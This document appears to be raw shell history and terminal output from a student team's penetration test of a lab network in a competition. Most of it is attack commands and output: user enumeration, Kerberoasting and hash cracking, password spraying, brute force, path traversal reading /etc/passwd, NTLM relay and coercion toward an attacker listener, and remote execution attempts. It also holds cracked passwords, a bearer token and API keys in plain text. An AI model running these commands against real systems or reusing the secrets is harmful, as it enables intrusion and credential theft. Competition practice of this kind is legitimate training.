SeTrustedCredManAccessPrivilege                 0:31 (0x0:0x1f)
SeRelabelPrivilege              0:32 (0x0:0x20)
SeIncreaseWorkingSetPrivilege           0:33 (0x0:0x21)
SeTimeZonePrivilege             0:34 (0x0:0x22)
SeCreateSymbolicLinkPrivilege           0:35 (0x0:0x23)
SeDelegateSessionUserImpersonatePrivilege               0:36 (0x0:0x24)
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~/…/krbrelayx/PetitPotam/DFSCoerce/ShadowCoerce]
⃴\x83\xB4⃴\x80$ smbclient -L //10.0.1.6 -U "pentester%)u1h55hm-h(M(7nV"
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.0.1.6 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~/…/krbrelayx/PetitPotam/DFSCoerce/ShadowCoerce]
⃴\x83\xB4⃴\x80$ impacket-GetUserSPNs allports.local/pentester:')u1h55hm-h(M(7nV' -dc-ip 10.0.1.6
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName  Name           MemberOf  PasswordLastSet             LastLogon  Delegation
--------------------  -------------  --------  --------------------------  ---------  ----------
gyroscope/APT-DC-01   SVC_STABILIZE            2026-01-07 17:51:49.252618  <never>
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~/…/krbrelayx/PetitPotam/DFSCoerce/ShadowCoerce]
⃴\x83\xB4⃴\x80$ #SVC_STABILIZE password was cracked its 1gyroscope
⃴\x83\xAC⃴\x80⃴\x80(pentesterラ\xBFcptc11-finals-t10-vdi-kali02)-[~/…/krbrelayx/PetitPotam/DFSCoerce/ShadowCoerce]
⃴\x83\xB4⃴\x80$ ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w ')u1h55hm-h(M(7nV' -b "DC=allports,DC=local" "(objectClass=user)" sAMAccountName | grep sAMAccountName
# requesting: sAMAccountName
sAMAccountName: Administrator
sAMAccountName: Guest
sAMAccountName: cloudbase-init
sAMAccountName: APT-DC-01$
sAMAccountName: krbtgt
sAMAccountName: PP-D232
sAMAccountName: CS-A259
sAMAccountName: sgray
sAMAccountName: ereed
sAMAccountName: DD-A020
sAMAccountName: FV-B058
sAMAccountName: CS-B251
sAMAccountName: PP-A130
sAMAccountName: DD-C265
sAMAccountName: kfoster
sAMAccountName: ohill
sAMAccountName: wmorgan
sAMAccountName: CS-D278
sAMAccountName: CS-C159
sAMAccountName: hsmith
sAMAccountName: CS-B104
sAMAccountName: DD-D087
sAMAccountName: jward
sAMAccountName: PP-A100
sAMAccountName: sramos2
sAMAccountName: DD-D178
sAMAccountName: BB-C264
sAMAccountName: zmorgan
sAMAccountName: BB-C118
sAMAccountName: kthomas
sAMAccountName: DD-B196
sAMAccountName: abennet
sAMAccountName: DD-C253
sAMAccountName: PP-A108
sAMAccountName: BB-D236
sAMAccountName: vlong
sAMAccountName: tross
sAMAccountName: DD-D221
sAMAccountName: FV-C125
sAMAccountName: BB-A190
sAMAccountName: FV-A122
sAMAccountName: storres
sAMAccountName: DD-B052
sAMAccountName: CS-B222
sAMAccountName: wross
sAMAccountName: sallen2
sAMAccountName: ehall
sAMAccountName: PP-A020
sAMAccountName: sgreen
sAMAccountName: kcarter
sAMAccountName: DD-B207
sAMAccountName: BB-C158
sAMAccountName: PP-B008
sAMAccountName: kclark
sAMAccountName: CS-C046
sAMAccountName: BB-B271
sAMAccountName: ljimenez
sAMAccountName: FV-D084
sAMAccountName: ebailey
sAMAccountName: BB-D170
sAMAccountName: qharris
sAMAccountName: tmorgan
sAMAccountName: sevans
sAMAccountName: PP-D008
sAMAccountName: DD-D123
sAMAccountName: zalvarez
sAMAccountName: DD-B068
sAMAccountName: DD-A192
sAMAccountName: PP-D110
sAMAccountName: BB-C071
sAMAccountName: DD-B074
sAMAccountName: bsanders
sAMAccountName: FV-B208
sAMAccountName: xward
sAMAccountName: PP-D246
sAMAccountName: csanchez
sAMAccountName: phoward
sAMAccountName: PP-B256
sAMAccountName: hallen
sAMAccountName: BB-B104
sAMAccountName: PP-C057
sAMAccountName: xdavis
sAMAccountName: PP-D251
sAMAccountName: DD-B211
sAMAccountName: PP-B150
sAMAccountName: PP-C229
sAMAccountName: jlee
sAMAccountName: DD-D080
sAMAccountName: PP-C284
sAMAccountName: ayoung
sAMAccountName: BB-D066
sAMAccountName: cmiller
sAMAccountName: FV-D063
sAMAccountName: BB-A256
sAMAccountName: shall
sAMAccountName: PP-C070
sAMAccountName: CS-C276
sAMAccountName: BB-A147
sAMAccountName: badams
sAMAccountName: PP-C051
sAMAccountName: BB-D053
sAMAccountName: CS-B209
sAMAccountName: CS-A119
sAMAccountName: FV-B137
sAMAccountName: ckelly
sAMAccountName: BB-A230
sAMAccountName: FV-D140
sAMAccountName: DD-D168
sAMAccountName: mlee
sAMAccountName: FV-D034
sAMAccountName: DD-C261
sAMAccountName: PP-B158
sAMAccountName: PP-B025
sAMAccountName: ltaylor2
sAMAccountName: FV-A240
sAMAccountName: PP-A147
sAMAccountName: DD-D004
sAMAccountName: mclark2
sAMAccountName: PP-A069
sAMAccountName: PP-C202
sAMAccountName: kwatson
sAMAccountName: kjackson
sAMAccountName: FV-A112
sAMAccountName: PP-B055
sAMAccountName: jlopez2
sAMAccountName: jramirez2
sAMAccountName: DD-C169
sAMAccountName: PP-C030
sAMAccountName: kparker
sAMAccountName: elong
sAMAccountName: ccooper
sAMAccountName: CS-C165
sAMAccountName: BB-B085
sAMAccountName: FV-C101
sAMAccountName: zruiz
sAMAccountName: ecarter2
sAMAccountName: DD-A227
sAMAccountName: lthomas
sAMAccountName: rlee
sAMAccountName: BB-A186
sAMAccountName: ibaker
sAMAccountName: PP-A050
sAMAccountName: DD-A198
sAMAccountName: BB-B039
sAMAccountName: DD-D135
sAMAccountName: PP-C055
sAMAccountName: BB-A067
sAMAccountName: PP-D285
sAMAccountName: DD-A285
sAMAccountName: DD-A207
sAMAccountName: PP-C236
sAMAccountName: DD-C123
sAMAccountName: jwilliams
sAMAccountName: DD-D025
sAMAccountName: PP-D264
sAMAccountName: BB-A016
sAMAccountName: PP-D224
sAMAccountName: DD-B064
sAMAccountName: DD-B184


_raw:
Time.Estimated...: Fri Jan  9 15:06:48 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt.gz)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  1505.1 kH/s (1.83ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 13017088/14344385 (90.75%)
Rejected.........: 0/13017088 (0.00%)
Restore.Point....: 13012992/14344385 (90.72%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: 1hyundai. -> 1furrstenfeld


_raw: : 1767989204:0;sudo apt install kerbrute


_raw:
: 1767989184:0;curl "http://10.0.1.13:8080/api/download_csv.php?file=../../../../var/www/html/includes/db.php" \\
    -H "Authorization: Bearer $TOKEN"\


_raw:
: 1767989177:0;curl "http://10.0.1.13:8080/api/download_csv.php?file=../../../../var/www/html/includes/db.php" \\
    -H "Authorization: Bearer $TOKEN"\


_raw:
: 1767989176:0;TOKEN=$(curl -s -X POST http://10.0.1.13:8180/realms/gps/protocol/openid-connect/token \\
    -d "username=captain&password=captain&grant_type=password&client_id=gps-app" \\
    | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)


_raw:
: 1767989171:0;curl "http://10.0.1.13:8080/api/download_csv.php?file=../../../../var/www/html/includes/db.php" \\
    -H "Authorization: Bearer $TOKEN"\


_raw:
: 1767989169:0;cat > go-endpoints.txt << 'EOF'\
/\
/api\
/api/v1\
/api/v2\
/health\
/status\
/metrics\
/config\
/settings\
/users\
/login\
/auth\
/debug/vars\
/debug/pprof/\
/admin\
/ballast\
/control\
/system\
/credentials\
/tokens\
EOF


_raw: : 1767989162:0;cp ~/Downloads/john.smith.txt .


_raw:
: 1767989147:0;ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \\
  -u http://10.0.1.10:9091/FUZZ \\
  -mc 200,301,302,401,403


_raw: : 1767989145:0;./kerbrute -t 1 -v -d 'APT.local' -o spray3.txt --dc 10.0.1.6 passwordspray users.txt cp ~/Downloads/john.smith.txt .


_raw: : 1767989055:0;./kerbrute -t 1 -v -d 'APT.local' -o spray3.txt --dc 10.0.1.6 passwordspray users.txt


_raw: : 1767989011:0;go get github.com/xonoxitron/regreSSHion-checker


_raw: : 1767988975:0;sudo apt install golang-go -y


_raw: : 1767988854:0;impacket-ntlmrelayx -smb2support -t smb://10.0.1.6 -c 'whoami /all' -debug


_raw: : 1767988839:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope --users 2>/dev/null | awk '{print $5}' | tail -n +2 > users.txt


_raw: : 1767988750:0;pip install requests_raw --break-system-packages


_raw: : 1767988747:0;nxc ldap 10.0.1.6 -u svc_stabilize -p 1gyroscope --users


_raw: : 1767988719:0;cat users.txt | grep pente


_raw:
: 1767988672:0;curl "http://10.0.1.13:8080/api/download_csv.php?file=../../../../etc/passwd" \\
    -H "Authorization: Bearer $TOKEN"


_raw: : 1767988666:0;cp users.txt domainusers.txt


_raw: : 1767988665:0;subl  /tmp/pentest_report.md


_raw:
: 1767988664:0;TOKEN=$(curl -s -X POST http://10.0.1.13:8180/realms/gps/protocol/openid-connect/token \\
    -d "username=captain&password=captain&grant_type=password&client_id=gps-app" \\
    | grep -o '"access_token":"[^"]*' | cut -d'"' -f4)


_raw: : 1767988660:0;nxc smb 10.0.1.20-21 -u users.txt -p newpass.txt -k -o log.out


_raw: : 1767988655:0;git clone https://github.com/stark0de/nginxpwner


_raw: : 1767988619:0;nxc smb 10.0.1.6 -u users.txt -p newpass.txt


_raw: : 1767988617:0;git clone https://github.com/stanford-trinity/artemis


_raw: : 1767988607:0;git clone https://github.com/nationalcptc-teamtools/University-of-California-Irvine finals-5


_raw: : 1767988591:0;proxychains nxc smb apt-dc-01.allports.local -d '' -u '/' -p '' --shares


_raw: : 1767988583:0;ffuf -u http://10.0.1.11:443/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt


_raw: : 1767988532:0;smbclient -L //10.0.1.6 -U username%password --option='client signing=off'


_raw:
cat .zsh_history_readable
clear
nxc ldap 10.0.1.6 -u '' -p '' --trusted-for-delegation
nxc ldap 10.0.1.6 -u '' -p '' --active-users
cd Princess-Sumaya-University-for-Technology/Useful\ Tools/linWinPwn
ls
clear
ls
cat README.md
clear
subl README.md `
subl README.md
cd
clear


_raw: : 1767988505:0;nmap --script-help telnet-brute


_raw: : 1767988491:0;cat loot/domain_users.grep | column -t


_raw: : 1767988486:0;nmap --script telnet-brute --script-help


_raw: : 1767988482:0;ldapdomaindump -u 'allports.local\svc_stabilize' -p '1gyroscope' 10.0.1.6 -o loot/


_raw:
nmap -A -p- 10.0.1.6
nmap -O 10.0.1.6
clear
mysql
mysql 10.0.1.13
mysql -h 10.0.1.13 -P 3306 -h -u ''
mysql -h 10.0.1.13 -P 3306 -h -u anon
mysql -h 10.0.1.13 -P 3306 -u
mysql -h 10.0.1.13 -P 3306 -u ''
mysql -h 10.0.1.13 -u root -p
mysql -h 10.0.1.13 --skip-ssl -u root -p
mysql -h 10.0.1.13 --skip-ssl -u root -p root
mysql -h 10.0.1.13 --skip-ssl -u root -p
mysql -h 10.0.1.13 --skip-ssl -u root
mysql -h 10.0.1.13 --skip-ssl -u root -p
mysql -h 10.0.1.13 --skip-ssl -u mysql_native_password -p
mysql -h 10.0.1.13 --skip-ssl -u root -p
hydra -l root -P /usr/share/wordlists/rockyou.txt.gz -f -S 3306 mysql://10.0.1.13
hydra -l root -P /usr/share/wordlists/rockyou.txt.gz -f -S 3306 10.0.1.13
hydra -l root -P /usr/share/wordlists/rockyou.txt.gz -f 10.0.1.13:3306
nmap 10.0.1.13 -p 3306 --script mysql-brute
msfconsole
mysql -h 10.0.1.13 --skip-ssl -u boatgps -p @nchor2024
mysql -h 10.0.1.13 --skip-ssl -u boatgps -p
ping penny.allports.tours
nslookup penny.allports.tours
nmap 10.0.1.1 -sV -sC -p-
nmap -sV -sC -p- 10.0.1.20
dig chat.allports.tours
dig chat.allports.tours +cmd
nmap --script dns-nsid 10.0.1.6
nc -nv -u 10.0.1.6 53
ldapseach -x -H ldap://10.0.1.6 -D "cn=admin,dc=allports,dc=local" -w admin: -b "dc=allports,dc=local"
ldapsearch -x -H ldap://10.0.1.6 -D "cn=admin,dc=allports,dc=local" -w admin: -b "dc=allports,dc=local"
ldapsearch -x -H ldap://10.0.1.6 -D "cn=admin,dc=allports,dc=local" -w '' -b "dc=allports,dc=local"
ldapsearch -x -H ldap://10.0.1.6 -D "cn=Configuration,dc=allports,dc=local" -w '' -b "dc=allports,dc=local"
cd /usr/share/wordlists
ls
gunzip rockyou.txt.gz
sudo gunzip rockyou.txt.gz
ls
cd ~


_raw:
nmap -sU --top-ports 25 10.0.1.6
nmap -sV -sC 10.0.1.6
dirbuster
clear
ls
cat password.txt
cd usr/share/word
cd usr/share/
cd /usr/share/wordlists
ls
ls john.lst
less john.lst
less wfuzz
ls wfuzz
nc -vn 10.0.1.13 3306
msfconsole
dig NS 10.0.1.6
dig NS chat.allports.tours
dig -x 10.0.1.14
dig -x 10.0.1.6
dig @10.0.1.6 chat.allports.tour
dig @10.0.1.6 chat.allports.tours
host 10.0.1.6
host 10.0.1.14
host -t MX 10.0.1.14
host chat.allports.tours
host -t MX chat.allports.tours
dig any chat.allports.tours @10.0.1.6
fierce
fierce --domain chat.allports.tours --dns-servers 10.0.1.6
ls /usr/share
dnsrecon -t std -d chat.allports.tours -D /usr/share/dnsrecon/namelist.txt
nc -vn 10.0.1.6 389
nmap -p 389 -sV --script ldap-rootdse 10.0.1.6
nmap -p 3268 -sV --script ldap-rootdse 10.0.1.6
ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local"
ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(objectClass=person)"
ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" "*"
ldapwhoami -x -H ldap://10.0.1.6
ldapwhoami -x -H ldap://10.0.1.6 -D "cn=admin,dc=allports,dc=local" -w password
ldapwhoami -x -H ldap://10.0.1.6 -D "cn=admin,dc=allports,dc=local" -w admin
ldapwhoami -x -H ldap://10.0.1.6 -D "cn=admin,dc=allports,dc=local" -w
ldapwhoami -x -H ldap://10.0.1.6 -D "cn=admin,dc=allports,dc=local"
ldapwhoami -x -H ldap://10.0.1.6 -D "cn=admin,dc=allports,dc=local" -w @nchor2024
ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(objectClass=domain)"
ldapsearch -x -H ldap://10.0.1.6 -b "" -s base namingContexts
ldapsearch -x -H ldap://10.0.1.6 -b "" -s base forestFunctionality
ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(objectClass=person)"
ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(objectClass=user)" cn mail
ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(objectClass=user)" cn sAMAccountName
ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(objectClass=group)"
ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(cn=Domain Admins)" member
ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(objectClass=*)"
ldapsearch -x -H ldap://10.0.1.6 -D "" -w "" -b "dc=allports,dc=local"
nmap -p 389 --script ldap-brute --script-args ldap.base='"dc=allports,dc=local"' 10.0.1.6
nmap -p 389 --script ldap-brute --script-args ldap.base='"dc=allports,dc=local"' 10.0.1.8
nmap -p 389 --script ldap-brute --script-args ldap.base='"dc=allports,dc=local"' 10.0.1.11
msfconsole


_raw: : 1767988441:0;hashcat hash3.txt --wordlist /usr/share/wordlists/rockyou.txt


_raw: : 1767988433:0;ldapsearch -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w 1gyroscope -b 'DC=allports,DC=local' "(&(objectCategory=person)(objectClass=user))" sAMAccountName title description memberOf | grep -E "^(title:|description:)"


_raw: : 1767988429:0;./kerbrute -t 1 -v -d 'allports.local' -o spray2.txt --dc 10.0.1.6 passwordspray users.txt captain


_raw: : 1767988401:0;ldapsearch -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w 1gyroscope -b 'DC=allports,DC=local' "(&(objectCategory=person)(objectClass=user))" sAMAccountName title description memberOf | grep -E "^(dn:|sAMAccountName:|title:|description:|memberOf:)"


_raw: : 1767988398:0;nmap --script "telnet-brute" --script-help


_raw: : 1767988391:0;nmap "telnet-brute" --script-help


_raw: : 1767988389:0;zip MyJellyfinPlugin.zip MyJellyfinPlugin.dll


_raw: : 1767988384:0;echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team2-key3-4dc0f41d-9024-4394-957f-a276e9b4cadc"' >> ~/.zshrc


_raw: : 1767988384:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.zshrc


_raw: : 1767988384:0;curl -fsSL https://claude.ai/install.sh | bash\


_raw: : 1767988384:0;git clone https://github.com/nationalcptc-teamtools/Princess-Sumaya-University-for-Technology.git


_raw: : 1767988346:0;ffuf -u https://chat.allports.tours/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt


_raw: : 1767988332:0;hashcat hash2.txt --wordlist /usr/share/wordlists/rockyou.txt


_raw: : 1767988304:0;proxychains nxc smb apt-dc-01.allports.local -d '' -u '/' -p '' --sam


_raw: : 1767988298:0;proxychains nxc smb apt-dc-01.allports.local -d '' -u 'APT/APT-DC-01$' -p '' --sam


_raw: : 1767988275:0;proxychains nxc smb APT-DC-01.allports.local -d '' -u '' -p '' --sam


_raw: : 1767988270:0;nmap -p 445 --script smb-brute --script-args userdb=users.txt,passdb=/usr/share/wordlists/rockyou.txt 10.0.1.6


_raw: : 1767988250:0;proxychains nxc smb apt-dc-01.allports.local -d '' -u '' -p '' --sam


_raw: : 1767988191:0;sudo systemctl enable docker --now


_raw:
claude-code --version
curl -fsSL https://claude.ai/install.sh | bash
claude-code --version
claude --version
claude --help
claude


_raw: : 1767988180:0;hydra -l admin -P /usr/share/wordlists/rockyou.txt smb://10.0.1.6


_raw: : 1767988169:0;sudo apt install -y docker.io


_raw: : 1767988163:0;duso apt install -y docker.io


_raw: : 1767988154:0;hydra -l administrator -P /usr/share/wordlists/rockyou.txt smb://10.0.1.6


_raw: : 1767988135:0;smbclient -L //10.0.1.6 -U username%password --option='client signing=off'


_raw: : 1767988097:0;sudo systemctl start docker


_raw:
: 1767988079:0;ldapsearch -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w 1gyroscope -b 'DC=allports,DC=local' "(&(objectCategory=person)(objectClass=user))" | grep 'distinguishedName"\
"\
'\


_raw:
cd cptc/claude
ls
cat CLAUDE.md
ls
instructions.txt
vim instructions.txt
claude
cd ../../Downloads
ls
mv APT\ Purple\ Team\ Request\ for\ Proposal.docx ../cptc/claude
cd ../cptc/claude
ls
vim APT_Purple_Team_Proposal.md
ls
nmap 10.0.1.30
mkdir -p $HOME/dotnet && tar zxf dotnet-sdk-10.0.101-linux-x64.tar.gz -C $HOME/dotnet
cd ../../Downloads
mkdir -p $HOME/dotnet && tar zxf dotnet-sdk-10.0.101-linux-x64.tar.gz -C $HOME/dotnet
export DOTNET_ROOT=$HOME/dotnet
export PATH=$PATH:$HOME/dotnet
ls
cd ../Documents/cptc/jelly
cd ../Documents/
ls
cd ..
ls
cd cptc
ls
mkdir jelly
cd jelly/
ls
unzip Jellypwn-main.zip
ipconfig
ifconfig
bash build.sh -p 8888 -l 4000 -i 10.0.254.205
ls
cd Jellypwn-main
ls
bash build.sh -p 8888 -l 4000 -i 10.0.254.205
sudo apt install docker
docker
sudo apt install docker-cli
bash build.sh -p 8888 -l 4000 -i 10.0.254.205
docker run
docker up
docker --help
systemd enable docker
sudo systemctl start docker


_raw: : 1767988019:0;impacket-smbexec ALLPORTS.LOCAL/captain:@nchor2024@10.0.1.6 -dc-ip 10.0.1.6


_raw:
crackmapexec smb 10.0.1.6 -u '' -p '' --shares\
ls
cat password.txt
crackmapexec smb 10.0.1.6 -u '' -p '' --shares
ls
crackmapexec smb 10.0.1.6 -u '' -p '' --shares
curl -v "http://10.0.1.13:8090/%2e%2e/%2e%2e/%2e%2e/etc/passwd"\
ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" "(objectClass=*)" -LLL\
curl http://10.0.1.14/
curl http://10.0.1.99/\
curl -v "http://10.0.1.13:8090/"\
curl -v "http://10.0.1.13:8090/%2e%2e%2f"\
mysql -h 10.0.1.13 -u root -p


_raw:
claude
clear
export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"
export ANTHROPIC_AUTH_TOKEN="sk-cptc-team1-key1-75f7fc7e-ea79-4797-ac7a-5824cf47c6d1"
claude


_raw:
git clone https://github.com/keycloak/keycloak.git
ls


_raw:
: 1767987972:0;cat scans/network_scan.xml | claude "I am testing 10.0.1.10 machine on the network, here is the context of what we've been doing  You're conducting a penetration test on 10.0.1.10 for All Ports Tours (cruise company) and I've been helping you discover and document vulnerabilities on ports 6768 (Climate Control), 9000 (Ballast Control), and 22 (SSH). We found 3 HIGH/MEDIUM severity findings: (1) unauthenticated access to Climate Control on port 6768, (2) exposed but authenticated Ballast Control on port 9000, and (3) SSH user enumeration vulnerability (CVE-2018-15473) that revealed 31 valid usernames including OSINT-confirmed staff (Bailey Finn/bfinn, Emily Carter/ecarter, David Carter/dcarter, Rose Davis/rdavis). All findings are documented in /home/pentester/findings_report.md with full details including CVSS scores, business/technical impacts, reproduction steps, and mitigation strategies, plus we created logs/ directory with test results (ssh_detailed_scan.txt, ssh_user_enum.txt, ssh_credential_test.txt). We safely tested vulnerabilities without using risky tools like Hydra to avoid locking accounts or\
  disrupting the production ship system with 3,000 passengers onboard.\
"


_raw: : 1767987962:0;proxychains nxc smb apt-dc-01.allports.local -d '' -u 'APT/APT-DC-01$' -p '' --sam


_raw: : 1767987948:0;proxychains nxc smb deckhand-01.allports.local -d '' -u 'APT/APT-DC-01$' -p '' --sam


_raw: : 1767987919:0;proxychains nxc smb deckhand-01.allports.local -d '' -u '' -p '' --sam


_raw: : 1767987901:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1767987838:0;impacket-smbexec ALLPORTS.LOCAL/captain:captain@10.0.1.6 -dc-ip 10.0.1.6


_raw: : 1767987824:0;nxc smb 10.0.1.6 -u users.txt -p newpass.txt -k | grep +


_raw: : 1767987806:0;mv Jellypwn-main.zip ../cptc/jelly


_raw: : 1767987792:0;proxychains nxc smb apt-dc-01.allports.local -d '' -u '' -p '' -x 'whoami' --exec-method smbexec


_raw: : 1767987787:0;proxychains nxc smb apt-dc-01.allports.local-d '' -u '' -p '' -x 'whoami' --exec-method smbexec


_raw: : 1767987772:0;proxychains nxc smb 10.0.1.6 -d '' -u '' -p '' -x 'whoami' --exec-method smbexec


_raw: : 1767987762:0;proxychains nxc smb 192.168.178.65 -d '' -u '' -p '' -x 'whoami' --exec-method smbexec


_raw: : 1767987755:0;nxc smb 10.0.1.6 -u users.txt -p newpass.txt | grep +


_raw: : 1767987747:0;nxc smb 10.0.1.6 -u users.txt -p newpass.txt


_raw:
: 1767987725:0;nmap -sV -p 22 --script ssh2-enum-algos 10.0.1.10 2>/dev/null | grep -v\
    "Starting\|Service detection"\


_raw: : 1767987721:0;cat users.txt | grep bfin


_raw: : 1767987716:0;cat users.txt | grep ilee


_raw: : 1767987682:0;cat users.txt | grep svc_


_raw: : 1767987625:0;nxc smb deckhand-01.allports.local -u 'Guest' -p '' -M coerce_plus -o M=All L=10.0.254.201


_raw: : 1767987621:0;nxc smb workstations  -u 'Guest' -p '' --users --local-auth


_raw: : 1767987619:0;ntlmrelayx.py -t ldap://apt-dc-01.allports.local -smb2support -i


_raw: : 1767987583:0;nxc smb APT-DC-01.allports.local -u SVC_STABILIZE -p 1gyroscope -M timeroast


_raw: : 1767987556:0;nxc smb APT-DC-01.allports.local -u SVC_STABILIZE -p 1gyroscope -M coerce_plus


_raw: : 1767987460:0;hashcat -a 0 hash /usr/share/wordlists/rockyou.txt -r OneRuleToRuleThemStill/OneRuleToRuleThemStill.rule


_raw: : 1767987451:0;git clone https://github.com/stealthsploit/OneRuleToRuleThemStill.git


_raw: : 1767987362:0;hashcat -a 0 hash /usr/share/wordlists/rockyou.txt


_raw: : 1767987322:0;echo '$apr1$VbYr44rQ$w6ZA6HQH0tl.SjZsaFnKm/' > hash


_raw:
: 1767986986:0;curl -k -X 'POST' \\
  'https://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY5NjE1M2NjZWYwZTk4Mjc2ODk1NWJmZSIsInVzZXJuYW1lIjoicGVudGVzdGVyIiwicHJvdmlkZXIiOiJsZGFwIiwiZW1haWwiOiJwZW50ZXN0ZXJAbGRhcC5sb2NhbCIsImlhdCI6MTc2Nzk4Njc2MiwiZXhwIjoxNzY3OTg3NjYyfQ.BIvlRAj5nrAxU2VfMewXZ7EXFe6TLisnYkW8jw6fgRQ' \\
  -d '{\
  "select": ["*"],\
  "table": "system.namespaces",\
  "limit": 1000\
}'


_raw:
: 1767986970:0;[200~curl -k -X 'POST' \\
  'https://10.0.1.11:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY5NjE1M2NjZWYwZTk4Mjc2ODk1NWJmZSIsInVzZXJuYW1lIjoicGVudGVzdGVyIiwicHJvdmlkZXIiOiJsZGFwIiwiZW1haWwiOiJwZW50ZXN0ZXJAbGRhcC5sb2NhbCIsImlhdCI6MTc2Nzk4Njc2MiwiZXhwIjoxNzY3OTg3NjYyfQ.BIvlRAj5nrAxU2VfMewXZ7EXFe6TLisnYkW8jw6fgRQ' \\
  -d '{\
  "select": ["*"],\
  "table": "system.namespaces",\
  "limit": 1000\
}'